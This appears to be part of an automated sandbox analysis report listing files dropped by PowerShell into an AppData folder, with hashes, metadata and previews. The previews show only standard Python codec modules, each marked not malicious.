              Preview:"""Python 'base64_codec' Codec - base64 content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import base64....### Codec APIs....def base64_encode(input, errors='strict'):.. assert errors == 'strict'.. return (base64.encodebytes(input), len(input))....def base64_decode(input, errors='strict'):.. assert errors == 'strict'.. return (base64.decodebytes(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return base64_encode(input, errors).. def decode(self, input, errors='strict'):.. return base64_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. assert self.errors == 'strict'.. return base64.encodebytes(input)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. assert self.errors

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\big5.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1058
              Entropy (8bit):4.522034261788674
              Encrypted:false
              SSDEEP:
              MD5:9AE0A356995140BFF35627C45E7DA1B8
              SHA1:7A23003577D29B3470BEE6EE996EAA2EA120FDD3
              SHA-256:CADB1C66D355F551E4D99A895725B62211CC5CBDE1F037C61FD4463932FF70CB
              SHA-512:F8764CFB30BD5EE67B527DC0FF5E70E41F03D617EF3AB0A3DE021825B751105373A251919E00A9F5C4F581471B393565A51C3B09B4CD1BD11BD8EBBA37545B42
              Malicious:false
              Reputation:unknown
              Preview:#..# big5.py: Python Unicode Codec for BIG5..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_tw, codecs..import _multibytecodec as mbc....codec = _codecs_tw.getcodec('big5')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='big5',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\big5hkscs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1078
              Entropy (8bit):4.563261678208351
              Encrypted:false
              SSDEEP:
              MD5:DB9A713E27FB20F00437D9DAB32C1FAC
              SHA1:E7E0DAF3371FDC04C5DA6DFB0F9D1B93BC44620F
              SHA-256:7FCF88553A656ABE5E4DC1A8E89D1E279DDEC83DE79E22F971AC04E7632708E9
              SHA-512:AAA035F5C5930233004855D9876B87D95FFAA5B8CE21F62FB499966BB8F29B5A5F4BF501FAC5013F5E8CA8F9D1DE8A0F1A288E346A87EF52BA2AF43AEB56E500
              Malicious:false
              Reputation:unknown
              Preview:#..# big5hkscs.py: Python Unicode Codec for BIG5HKSCS..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_hk, codecs..import _multibytecodec as mbc....codec = _codecs_hk.getcodec('big5hkscs')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='big5hkscs',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\bz2_codec.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2327
              Entropy (8bit):4.640437967116185
              Encrypted:false
              SSDEEP:
              MD5:1AA105E7EED39A1B52B24B524B541AB0
              SHA1:9DE4EB2157EF2D0339EB565B0BD2AD6DBA1172B3
              SHA-256:A0A34436976BB5137403C148CB8B332653F14CAA6CDF102150E82646D5249A5E
              SHA-512:CDA0CDAA96ECC52F5D57C9CA9D118B90D2E93630D47ED9CB99E0BA07A40D03470872676CB00B7DEE70089045E9AAB3BF37AF09DF075B7C5212947C9A17F66979
              Malicious:false
              Reputation:unknown
              Preview:"""Python 'bz2_codec' Codec - bz2 compression encoding.....This codec de/encodes from bytes to bytes and is therefore usable with..bytes.transform() and bytes.untransform().....Adapted by Raymond Hettinger from zlib_codec.py which was written..by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import bz2 # this codec needs the optional bz2 module !....### Codec APIs....def bz2_encode(input, errors='strict'):.. assert errors == 'strict'.. return (bz2.compress(input), len(input))....def bz2_decode(input, errors='strict'):.. assert errors == 'strict'.. return (bz2.decompress(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return bz2_encode(input, errors).. def decode(self, input, errors='strict'):.. return bz2_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. assert errors == 'strict'.. self.errors = errors..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\charmap.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2153
              Entropy (8bit):4.704086253537808
              Encrypted:false
              SSDEEP:
              MD5:8A14214EF1C47A40C56C08A793FC9923
              SHA1:73205DCA66A87C26464472C25D39795BFFF46F88
              SHA-256:1EA641E7C63C0A022A663F5D2024A71124272E088C246583D2D44CDDDF548A32
              SHA-512:D7E94201E8168043BE5BD6D1CE5B0720E653EC84A7ABBEAB6F99781228435C590D75B1FE3AE58B700287E6AABC7A44DA4059561F22317B7A529263E1AD2A3C8F
              Malicious:false
              Reputation:unknown
              Preview:""" Generic Python Character Mapping Codec..... Use this codec directly rather than through the automatic.. conversion mechanisms supplied by unicode() and .encode().......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.charmap_encode.. decode = codecs.charmap_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict', mapping=None):.. codecs.IncrementalEncoder.__init__(self, errors).. self.mapping = mapping.... def encode(self, input, final=False):.. return codecs.charmap_encode(input, self.errors, self.mapping)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def __init__(self, errors='strict', mapping=None):.. c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp037.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13428
              Entropy (8bit):4.523742655695844
              Encrypted:false
              SSDEEP:
              MD5:A28DE4284DFAEFEC5CF40EE279C388F3
              SHA1:5EEF5925AC2C77227A03067E17808B5F10C41018
              SHA-256:FA3FF4B328C72315EC622CD62FEAC21189A3C85BCC675552D0EC46677F16A42C
              SHA-512:8FD7FD3C0A099A5851E9A06B10D6B44F29D4620426A04AE008EB484642C99440571D1C2C52966D972C2C91681EBD1C9BF524B99582D48E707719D118F4CD004A
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp037 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP037.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp037',.. e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1006.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13875
              Entropy (8bit):4.677799937409236
              Encrypted:false
              SSDEEP:
              MD5:8E2D801694A19B3A569F383708A5F7CB
              SHA1:B1803CF5FF75A77BDA42CED7C15E74861273B713
              SHA-256:1FDCD59D3277C3768DE74DD8CE4F5F8BEEA569C00CBAA3A20714500F3508B8CB
              SHA-512:8DC24DBDC779C89CFA22E28D8175C2A32562EA1F9C070333565A7A8449DEB5C8BF65A886E7A5360EF540E321B3A685530B1E53AE4638232B297450ACEC68B1E8
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1006 generated from 'MAPPINGS/VENDORS/MISC/CP1006.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1006',.. encode=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1026.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13420
              Entropy (8bit):4.5283835755402215
              Encrypted:false
              SSDEEP:
              MD5:F453ED24A766166472B48010C7712629
              SHA1:0F269160E99FA1ACBC12B882AA9ED1976488B11E
              SHA-256:8C1D85BE11A3A0A5E6A40101C68548480D0378DF0414E3C16D9CBE9F923C028E
              SHA-512:420CD9363A0D72FCA7B22300CE4AC0868320D945E0FCE4C1F09659D4601168F96993D640BEA0FBF9112948D17DE08A41F674DF5E65D34859B9BFB46D89D120D4
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1026 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP1026.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1026',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1125.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35295
              Entropy (8bit):4.600149049702432
              Encrypted:false
              SSDEEP:
              MD5:127B6641AE648FF494CD9285BE4C61CC
              SHA1:61464AA653D2AEE959EE90809BDBF98075B1736E
              SHA-256:5286E2162D53A6B189D83B242BC04AB59A48BBBC4ECF094C11BC1542C0604279
              SHA-512:335AC036D6D88270E944FF01D3DCF1B1F1DBE38A75C534836E839DEB474E776EEAB76C08AA4BF150CEA33594AAFAB33EFD593246F958956A4894C2E1819B4C96
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec for CP1125...."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1125',.. encode=Codec().encode,.. decode=Codec().decode,.. incremental

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1140.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13412
              Entropy (8bit):4.524379090064879
              Encrypted:false
              SSDEEP:
              MD5:C2F88AB320D40C3B1B6394F57A04AF81
              SHA1:A48B25ABE903EFA9C2B073783087ED06F23BCA0F
              SHA-256:0451016F6A4B7013DEA1BA35925412FBAD743DDF46E857BE2C272F2A2CB8D403
              SHA-512:19732A5B121339BD14BD0C7285FD7EE696E7432A28A7B140C92B6206E69011F2FCE50B8B52BCAE7C14DB31444EC9808F27CE07EA4390434ECFBDA096A5E022C6
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1140 generated from 'python-mappings/CP1140.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1140',.. encode=Codec(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1250.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13993
              Entropy (8bit):4.595187696759194
              Encrypted:false
              SSDEEP:
              MD5:164A9C1A625524FCB480DBE56076D738
              SHA1:C21A1A50BBAC7EF8D1CC3A2E093FE5EBDBBD35C4
              SHA-256:3FFEA0100ABEF80F916BC2920B296B2EDDD6ECB06FB3CA07549F95FC92CA1F11
              SHA-512:AB0160965CCED9E7BF45D6A64C34A0AC363B4CF5D2447C303397DB79C5F04ED861D9D0D5FF833C0685029E702534DEFE3EBB5AB5B05C5A5842050221CDC91A5B
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1250 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1250.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1250',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1251.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13668
              Entropy (8bit):4.623567935376835
              Encrypted:false
              SSDEEP:
              MD5:E81DE8E87BAB1DEFF99125C66229F26E
              SHA1:5800D009E3D4C428B7303532AAD20BA3BBBE8011
              SHA-256:46FA091D1822434E8D0AF7A92439607018872598FCDE44026F413DD973F14C98
              SHA-512:B14BFE809CF20E5FD82CF5E435983DC5FEAA4E5DE19D16AA4BED7FD0CBFD18A429DD0129AA6058053709CE230CE38224F7CE15CFBCD75A803B04ABC85FA9440B
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1251 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1251.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1251',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1252.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13818
              Entropy (8bit):4.5698138915249915
              Encrypted:false
              SSDEEP:
              MD5:52084150C6D8FC16C8956388CDBE0868
              SHA1:368F060285EA704A9DC552F2FC88F7338E8017F2
              SHA-256:7ACB7B80C29D9FFDA0FE79540509439537216DF3A259973D54E1FB23C34E7519
              SHA-512:77E7921F48C9A361A67BAE80B9EEC4790B8DF51E6AFF5C13704035A2A7F33316F119478AC526C2FDEBB9EF30C0D7898AEA878E3DBA65F386D6E2C67FE61845B4
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1252 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1252',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1253.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13401
              Entropy (8bit):4.649593364658793
              Encrypted:false
              SSDEEP:
              MD5:E86052CD641A07AA72686984073AF47E
              SHA1:D9CAA17B52A5F48087F587B2996388DA799955BF
              SHA-256:E0B0AFBD19DB367C34C505F99A2FCCAFC6BAE3DFD4E316F86375179DCFC60A28
              SHA-512:7F87B2577902646C394FCC2D7A5407B05E23AC3CD07E7749CEDC9898F3E357067729F586011862D9FC8604DB13D0921B060471C3A52B6C17A0F7C5694DDA7788
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1253 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1253.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1253',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1254.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13809
              Entropy (8bit):4.577307574580316
              Encrypted:false
              SSDEEP:
              MD5:490756413A61FC0954EFA491244CD487
              SHA1:849EC325801A2E2CC784A54590482593FF89A5A1
              SHA-256:0986ACD9A25FE91C4720C912322253AD105AB951A2D0D364CF0E522E6E52C174
              SHA-512:BCDC7CB6C94600D15F9A3BFA51BDC0D289C997AC40EC4DA1CB0D91B6BFE875968B6C2834FC03D306EE6A3D022955C1C3435864491AF8548E82ACC60E2A215601
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1254 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1254.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1254',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1255.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12773
              Entropy (8bit):4.658204122531881
              Encrypted:false
              SSDEEP:
              MD5:8B8E1CC22BEF6EDE6E44C4DD2A287FF6
              SHA1:304930955DF0499CBFDF90BFD9BB9A01D0059B23
              SHA-256:C039AD62EE73102915D989CF390F76896C335CA8DBCDD4CA27D5441F76E081BE
              SHA-512:FA779A6E599816AAAA84C1FB715217DE2341399D47E70A440A06E312BA69780E14CB3014D048C7005F5A9025B3AB8D508DA052BFD678AD4E269F10CB1B35AE66
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1255 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1255.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1255',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13121
              Entropy (8bit):4.623477051591162
              Encrypted:false
              SSDEEP:
              MD5:2CCBF9B374CE98453955DAD9848C90FF
              SHA1:0E7B99D406E72AF59F80405B9676988CD6881C40
              SHA-256:24A69E11902CC4054280EC2DE38EE836D0BE22EABDB9CDC56D9A7B63C8CDDB06
              SHA-512:4A97C524F951DE4CF08F2EF86F9AA9F4F421BA3327D07E0B883958057E6204A410F42E82E0C7DBBAC8F3252065F96A4255A820753BD6EBE80254E1AFE160FD3F
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1256 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1256.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1256',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1257.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13681
              Entropy (8bit):4.608029292102436
              Encrypted:false
              SSDEEP:
              MD5:544A8ACE12064E96C3E6A7DB436F9F09
              SHA1:ADADE6DC415731BCC23386DF031CA5B003D09881
              SHA-256:902262C0640FC0F21CF85A86456DC33D43E51B07E6C961526BF7F7ED4CE2AB8D
              SHA-512:4830A946DA25CBECDD1AEB5DF055FD1961EF8E32936406889C39EE4F9ACD6A15605DCA448AA73DF0A4BE721BAB6B04C03D02524918FCBB1499C4E7B60863BCE2
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp1257 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1257.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1257',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp1258.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13671
              Entropy (8bit):4.591778820995035
              Encrypted:false
              SSDEEP:
              MD5:11328D7E1CD433053C29BEC6C739FB67
              SHA1:FD2D141516EEF65B903F552AC68CE30AE45A40A8
              SHA-256:A9E1E891DD1F28DEA5ABB5819AEE1477156D288733EB2342F0696F1E5DD0A11D
              SHA-512:E643AFFBC683B99169FDB236184E25DDAC58803FB11799BD56BE44376953DD16F5E4C982CDFCA8D8F79D0B142E294ABAB72F25202F012F4149371B20F408A3E0
              Malicious:false
              Reputation:unknown
